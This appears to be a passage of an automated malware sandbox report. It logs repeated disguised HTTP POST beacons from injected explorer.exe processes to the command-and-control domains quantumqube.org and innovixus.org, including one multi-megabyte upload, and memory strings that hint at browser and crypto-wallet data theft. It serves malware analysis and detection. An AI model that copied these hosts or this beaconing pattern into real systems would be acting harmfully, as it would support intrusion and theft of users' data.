Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rdycpqjqlugnms.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://crwqlqtuysbj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 172Host: innovixus.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qlijxlatgdyt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://quantumqube.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 501Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://quantumqube.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 6348785Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wqvfywivxptqmt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://raievqxnfbig.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vvywjtocjkatexf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mxfkxoyxtgh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qxdsgfawkutaw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: quantumqube.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: explorer.exe, 0000000D.00000003.2621735460.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2621306051.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2447348106.0000000003510000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: "www.facebook.com", equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: quantumqube.org
Source: global traffic	DNS traffic detected: DNS query: innovixus.org

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://upgyyhdoyghspm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: quantumqube.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 06 Oct 2024 19:27:36 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingServer: namecheap-nginxData Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Sun, 06 Oct 2024 19:27:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 66 37 30 0d 0a 40 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 27 d2 6c ac 11 c6 52 d1 3b 37 d7 a5 36 82 b4 8a ab 80 da 1b be 00 a0 92 05 00 03 0c a7 32 01 0b 00 00 07 00 9e 03 00 00 62 02 28 96 e9 7a 2a f4 cb 78 52 7f 40 00 50 00 77 c0 64 47 47 36 9c 8d 96 4a ed d1 9e d6 80 c4 6c 33 99 24 a7 b4 b4 35 c3 e1 cb 26 ef 22 79 42 75 08 78 08 f7 1d 9b dc 6b cb 0a ea f2 8b 19 bf 99 78 b9 82 ba ce 22 33 4f 4a a8 df 50 78 ae 76 77 2e c7 9b 5e 2d 28 67 32 da c8 c9 75 cd d4 a5 2b c1 10 eb 1d a0 33 0d 98 9e 44 f7 6b a9 c6 24 31 3d 1d f1 ea e8 ae 1d d5 84 1f af 15 26 fb 4f bb 25 b9 52 6e f5 a0 8a 0a 49 0e 48 3c 5c 38 d3 13 33 ca aa 9b 5c 35 3f 78 1b f1 19 e1 c2 70 4c e8 73 36 6b 7d d5 d3 6e a4 5e 14 85 a9 0e a1 79 e7 e2 8f d9 fc 87 1e 17 08 2a d3 a7 57 64 02 f2 1f 97 3a 75 05 d6 39 26 05 29 1b 93 de cb 73 67 b8 04 d4 23 37 bf be 0b 34 b2 74 c4 1a 80 c5 9c f5 2b 45 c2 a1 ce 66 f8 cd ce 41 e1 68 9b cb 45 74 60 87 17 b6 fb c9 69 56 c1 7a 75 a6 b6 91 7f 35 28 62 b3 15 0a 3e 77 0b 6c 3f 72 6d c5 b0 62 4a 85 0a 39 54 4a ef 82 78 65 a5 12 89 42 79 18 c4 79 f5 96 4f 76 46 06 c0 e9 22 30 34 84 0f 92 48 07 52 c5 04 c3 48 b7 3d 91 25 be 7c 16 c4 5c 8e 36 d9 7c b3 67 c3 ee a4 67 3b c7 e0 1b 96 44 60 0c 7d 11 6b 01 27 8e 7a 90 1b 83 03 37 9c a1 29 61 04 de ac b2 d8 3c bd 20 60 c8 95 74 8e 89 0b 2c 61 df 2b c0 7e a4 4e 45 3a c3 e4 a8 39 be bb a7 31 20 93 97 a0 a0 b5 7f c7 d6 91 0a 5b 86 18 74 2a fd 7d c4 1d 22 3f b3 3c 56 73 d8 fb 5b 8e 2d a5 e4 07 39 88 5c 2a 6a 3f c8 6c 1d b5 c6 8b f1 be 7f d6 a1 5e 5c 47 ac 65 d7 73 d2 71 71 f5 9a 3d cf 2c e5 1c c6 eb 8c b4 45 e1 0c a1 e8 35 b7 e5 04 54 25 1f 83 1f fd 39 ae 07 62 90 48 e8 f7 cb 93 3c 91 5f fc 84 dd 7a 0b 01 a2 11 6a c4 f4 14 70 65 48 60 21 09 b6 10 7d 2d 97 87 bb 75 c3 0a b7 49 aa 57 7d 10 a3 15 a6 91 59 62 2a 44 9f c7 bd f3 a8 72 60 9d b9 c7 f5 9f d8 aa df 2d 16 2b 15 a2 69 39 7a 26 8a de 9b 6d a1 a2 c6 90 63 f8 37 1d 10 4c e1 29 af 9e 05 fd 3c 1d 17 7a 41 32 b4 77 40 0c 0d a9 bb 8d b7 ba 7a 5d 98 53 fb e6 7e 09 8e 0a 3c cc 99 ef 15 b1 4e ad b0 11 b9 de 26 5d f2 f9 c7 72 49 b9 46 de b0 e4 d6 76 f2 a0 8a fb b2 52 12 6e db 9e e3 84 21 7a 72 ba 59 c6 34 4f 12 9b f7 e0 4c 77 d7 c6 6b a2 99 f6 d9 6b d5 7d 23 04 ce ad 8d 9f 18 aa 9d 74 59 68 c0 42 f7 92 c7 6b 71 4b 65 e4 cd a0 29 e1 92 05 21 d8 c4 ea 8d c1 30 94 87 ab c7 50 14 15 85 86 d2 a0 15 15 e6 d9 f5 12 d8 d4 a1 58 7f b8 41 0e ad df bc 0d a8 ce 32 04 e4 8a 84 7f ee 75 29 7d da 25 86 c8 da 42 6f db 62 73 41 5e f7 ed 15 15 42 fb e6 ea 35 c4 50 ad 56 45 8b 79 53 2b f9 92 ee 64 4c 1b b5 4a fd 76 6a 6c fb 4d d2 a0 9c 79 25 c8 b5 17 5b 8c 8a cb 65 8f b5 89 0b e4 24 b9 de 24 ba 24 c5 b3 95 c4 4e 52 85 c0 ad 92 ff 22 8e ec f3 62 37 33 ba d7 2b ac 7b 1d f7 ef 6c cd 5f 21 5d 0c 2c 91 ae 02 4e a1 c7 4d 32 1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Sun, 06 Oct 2024 19:28:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Sun, 06 Oct 2024 19:29:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Sun, 06 Oct 2024 19:29:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Sun, 06 Oct 2024 19:29:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Sun, 06 Oct 2024 19:30:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Sun, 06 Oct 2024 19:30:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0

Source: explorer.exe, 00000002.00000000.1475801434.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1475801434.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000002.00000000.1475801434.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1475801434.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000002.00000000.1475801434.0000000009237000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1475801434.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1475801434.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	String found in binary or memory: http://jedwatson.github.io/classnames
Source: explorer.exe, 00000002.00000000.1473694819.0000000004405000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobeS
Source: explorer.exe, 00000002.00000000.1475801434.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1475801434.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000002.00000000.1475801434.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000007.00000002.2375965405.0000000003298000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.0000000003304000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.000000000330C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.00000000032E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quantumqube.org/
Source: explorer.exe, 00000007.00000002.2375965405.000000000330C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quantumqube.org/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 00000007.00000002.2375965405.0000000003298000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.0000000003304000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.00000000032C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2373953881.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.2347347955.0000000000A79000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.3927428692.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3928236257.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.3928453017.0000000003297000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3926853756.0000000000859000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.3928965249.00000000033D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quantumqube.org/index.php
Source: explorer.exe, 0000000D.00000003.3028814712.000000000526C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2721237512.000000000526C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.3328845519.0000000005270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quantumqube.org/index.php.
Source: explorer.exe, 00000007.00000002.2375965405.0000000003298000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.2347347955.0000000000A79000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.3927428692.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3928236257.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.3928453017.0000000003297000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3926853756.0000000000859000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.3928965249.00000000033D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quantumqube.org/index.phpMozilla/5.0
Source: explorer.exe, 00000007.00000002.2375965405.0000000003298000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quantumqube.org/index.phpn
Source: explorer.exe, 00000007.00000002.2375965405.00000000032C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quantumqube.org/ndex.php
Source: explorer.exe, 00000007.00000002.2375965405.00000000032E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quantumqube.org:80/index.phpcrosoft
Source: explorer.exe, 00000002.00000000.1474886102.0000000007710000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1474899724.0000000007720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1473187872.0000000002C80000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	String found in binary or memory: http://underscorejs.org/LICENSE
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000002.00000000.1475801434.0000000009237000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000002.00000000.1478526429.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 00000002.00000000.1478526429.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000002.00000000.1478526429.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSA4
Source: explorer.exe, 00000002.00000000.1478526429.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSd
Source: explorer.exe, 00000002.00000000.1474139705.000000000702D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000002.00000000.1475801434.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0E948A694F8C48079B908C8EA9DDF9EA&timeOut=5000&oc
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1475801434.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000002.00000000.1475801434.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
Source: explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-dark
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-dark
Source: explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000002.00000000.1478526429.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	String found in binary or memory: https://github.com/jsstyles/css-vendor
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1b2aMG.img
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hGNsX.img
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAT0qC2.img
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYTL1i.img
Source: explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	String found in binary or memory: https://lodash.com/
Source: explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	String found in binary or memory: https://lodash.com/license
Source: explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	String found in binary or memory: https://openjsf.org/
Source: explorer.exe, 00000002.00000000.1478526429.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000002.00000000.1478526429.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comer
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000002.00000000.1478526429.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/EM0
Source: explorer.exe, 00000002.00000000.1478526429.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com48
